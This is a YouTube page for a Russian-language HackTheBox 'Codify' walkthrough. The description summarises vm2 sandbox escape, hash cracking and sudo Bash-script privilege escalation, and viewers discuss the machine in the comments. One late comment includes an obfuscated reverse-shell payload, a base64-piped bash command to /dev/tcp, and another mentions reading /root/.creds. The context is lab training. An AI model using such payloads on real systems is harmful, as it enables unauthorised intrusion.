Прохождение

แชร์
ฝัง
  • เผยแพร่เมื่อ 20 ต.ค. 2024
  • Как решить машину CODIFY на HackTheBox?
    Codify - это легкая Linux-машина, на которой установлено веб-приложение, позволяющее пользователям тестировать код `Node.js`. Приложение использует уязвимую библиотеку `vm2`, которая используется для удаленного выполнения кода. По мере исследования цели обнаруживается база данных `SQLite`, содержащая хэш, который, будучи взломанным, дает `SSH`-доступ к устройству. Наконец, уязвимый скрипт `Bash` может быть запущен с повышенными привилегиями для раскрытия пароля пользователя `root`, что приводит к получению привилегированного доступа к машине.
    ------------------------------------------------------------------------------------------------------
    Мои статьи и врайтапы: maddevs.io/blo...
    Заказать услуги: maddevs.io/cyb...
    Telegram чат: t.me/+ls1duJay...
    Telegram канал: t.me/MrCyberSe...
    Boosty.to: boosty.to/mrcy...
    X/Twitter: / _mrcybersec
    HackTheBox: app.hackthebox...
    LinkedIn: / mekan-bairyev
    #VulnerabilityAssessment #WebApplication #SourceCodeAnalysis #Cryptography #Programming #injections #software #exploitation #idor #RemoteCodeExecution #RCE #Misconfiguration #python #sql #ReverseEngineering

ความคิดเห็น • 39

  • @lilkirill4407
    @lilkirill4407 6 หลายเดือนก่อน +5

    Редко пишу комменты, но это супер крутой контент. У меня появилось новое хобби)) Большое спасибо за проделанную работу.

  • @CamelCase-dg6xp
    @CamelCase-dg6xp 10 หลายเดือนก่อน +12

    Привет!! Очень классный канал, подача контента, прошу не забрасывайте его)))
    Я двухлетний девопс (бубернетесы ваши, пайплайны, автоматизация и.т.д), но с большим интересом смотрю в сетевую безопасность, пентест и всякие другие возможности вскрывания жоп. С интересом буду наблюдать за каналом

    • @lilkirill4407
      @lilkirill4407 6 หลายเดือนก่อน

      ровно такая же история))

  • @naushnikol
    @naushnikol 4 หลายเดือนก่อน +3

    Про бесплатные машины тоже расскажи. Контент супер!

  • @evgeniyp1976
    @evgeniyp1976 5 หลายเดือนก่อน +1

    посмотрев другие видео, имя пользователя joshua в хэше сразу смутило )
    контент топ, случайно нашел, оооочень доступно объясняется. спасибо.

  • @romanryaboshtan9270
    @romanryaboshtan9270 10 หลายเดือนก่อน +2

    замечательно, продолжай то, что ты делаешь!!!

  • @zhuk
    @zhuk 6 หลายเดือนก่อน +1

    просто кайф, больше таких видео!

  • @andrey6906
    @andrey6906 10 หลายเดือนก่อน +2

    Классный контент , продолжай в том же духе

  • @Super-fruja
    @Super-fruja 10 หลายเดือนก่อน +3

    классно 🎉

  • @paulbond8244
    @paulbond8244 10 หลายเดือนก่อน +2

    Шикарный контент!

  • @saber1in
    @saber1in 10 หลายเดือนก่อน +5

    Продолжай в том же духе, отличный контент!

  • @robotiksillya8363
    @robotiksillya8363 10 หลายเดือนก่อน +2

    прикольно давай еще

  • @yesipovdaniel4943
    @yesipovdaniel4943 10 หลายเดือนก่อน +2

    Красавчик

  • @okuzmenko
    @okuzmenko 10 หลายเดือนก่อน +4

    Классное видео. Можете пожалуйста подсказать что у вас за клавиатура и на каких свичах? Очень классно звучит 😍

    • @Andrew-v4o7k
      @Andrew-v4o7k 10 หลายเดือนก่อน

      плюсую, тоже заинтересовало)

    • @MrCyberSec
      @MrCyberSec  10 หลายเดือนก่อน

      Спасибо!
      Клава: Keychron K8 Pro QMK
      Свичи: Gateron G Pro Brown

    • @okuzmenko
      @okuzmenko 10 หลายเดือนก่อน

      Большое спасибо!

  • @TheArtemus
    @TheArtemus 10 หลายเดือนก่อน +1

    Не чего непонял, но залип

  • @ИванМозгачев-ф4л
    @ИванМозгачев-ф4л 6 หลายเดือนก่อน +1

    Скажите, а почему именно vim? почему нельзя использовать тотже nano? Или любые другие редакторы? Ну не прям "нельзя", а почему именно vim? Большая чать людей говорят - "Это олдсулько, профессионально и прочие симптомы" но никто не говорит почему все же vim. Есть ли у Вас свое мнение по этому вопросу?

    • @MrCyberSec
      @MrCyberSec  6 หลายเดือนก่อน +1

      Почему нельзя? Можно. Дело вкуса и привычек. Используйте нано, если нравится, это асболютно ОК.

    • @rezo4846
      @rezo4846 2 หลายเดือนก่อน

      Вим предоставляет очень удобное управление командами и хоткеями. И если в них разобраться, то скорость работы очень увеличится

  • @MrRussianuser
    @MrRussianuser 10 หลายเดือนก่อน +2

    А зачем вы делаете перебор пароля DB_PATH? Можно же просто написать sudo bash и делать что хотите (ну или sudo cat /root/.creds)

    • @MrCyberSec
      @MrCyberSec  10 หลายเดือนก่อน +2

      Из под sudo можно запускать лишь скрипт бекапа, это видно из аутпута команды sudo -l

  • @verchest3547
    @verchest3547 10 หลายเดือนก่อน +2

    Нужны ли углубленные знания по математике для инфо беза?

    • @MrCyberSec
      @MrCyberSec  10 หลายเดือนก่อน +3

      Скажу так: если нет углубленных знаний в математике, то это ниразу не повод отказываться преследовать путь инфобеза. Тут скорее про логическое мышление, чем про математику. Логику же развивать можно. Программирование - отличный способ!

  • @kldev8566
    @kldev8566 4 หลายเดือนก่อน

    откуда такое условие что charset для пароля только латинские буквы и цифры? где спецсимволы?

  • @dantesvss8036
    @dantesvss8036 10 หลายเดือนก่อน +1

    Что то на инопланетном языке.. наверное вы рассказывали, какой я тупой в .. хрен знает в чём))

  • @igorvlasiuk6432
    @igorvlasiuk6432 9 หลายเดือนก่อน

    почему пароль от рута совпал с паролем от дб? ето и есть уязвимость?пароль один?

    • @MrCyberSec
      @MrCyberSec  9 หลายเดือนก่อน

      Пароль от дб совпал с паролем от рута, но нам демонстрировали другое. Уязвимость в возможности эксфильтровать этот самый пароль из-за корявого условия проверки пользовательского пароля с паролем из файла /root/.creds

    • @igorvlasiuk6432
      @igorvlasiuk6432 9 หลายเดือนก่อน

      @@MrCyberSec ето я понял в bash script нельзя проверку через == делать. Просто если б пароль дб не совпал с паролем рута нужно было б продолжать что-то другое.

    • @MrCyberSec
      @MrCyberSec  9 หลายเดือนก่อน

      @@igorvlasiuk6432 Да, но в данном случае нам хотели продемонстрировать именно эту уязвимость и, так образом подведя к итогу машины. Есть машины сложнее уровнем и там так легко машины не заканчиваются:)

  • @kakarot2004-l2
    @kakarot2004-l2 10 หลายเดือนก่อน +2

    Can you provide penetrating test report for codify please 🙂

    • @MrCyberSec
      @MrCyberSec  10 หลายเดือนก่อน

      Yes, my writeup is here: maddevs.io/writeups/hackthebox-codify/

    • @kakarot2004-l2
      @kakarot2004-l2 10 หลายเดือนก่อน

      @@MrCyberSec I opened brother , but it shows like
      An error occurred in the application and your page could not be served. If you are the application owner, check your logs for details.

    • @MrCyberSec
      @MrCyberSec  10 หลายเดือนก่อน +1

      ​@@kakarot2004-l2 which country are you accessing it from? Might be your ISP blocking.. Try opening it with VPN. I recommend using CloudFlare WARP technology. It's free and secures your internet connection.

    • @kakarot2004-l2
      @kakarot2004-l2 10 หลายเดือนก่อน

      @@MrCyberSec india brother

    • @kakarot2004-l2
      @kakarot2004-l2 10 หลายเดือนก่อน

      @@MrCyberSec which server did i want to choose?

  • @olegovsyanikov9601
    @olegovsyanikov9601 2 หลายเดือนก่อน

    кароч не было там папки .ssh ((
    создал сам записал ключ - не коннектит
    сделал шел с .execSync('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjAvNDQ0NCAwPiYx | base64 -d | bash'); где в хеше по сути sh -i >& /dev/tcp/10.10.14.20/4444 0>&1
    зайти зашел и записал еще раз уже другой ключ
    но не коннектит ссх -
    с вербозом вот
    debug1: Authentications that can continue: publickey,password
    debug1: Next authentication method: password
    странно почему у вас была .ssh папка
    и по идее после изменения authorized_keys нужно делать ребут sshd разве нет?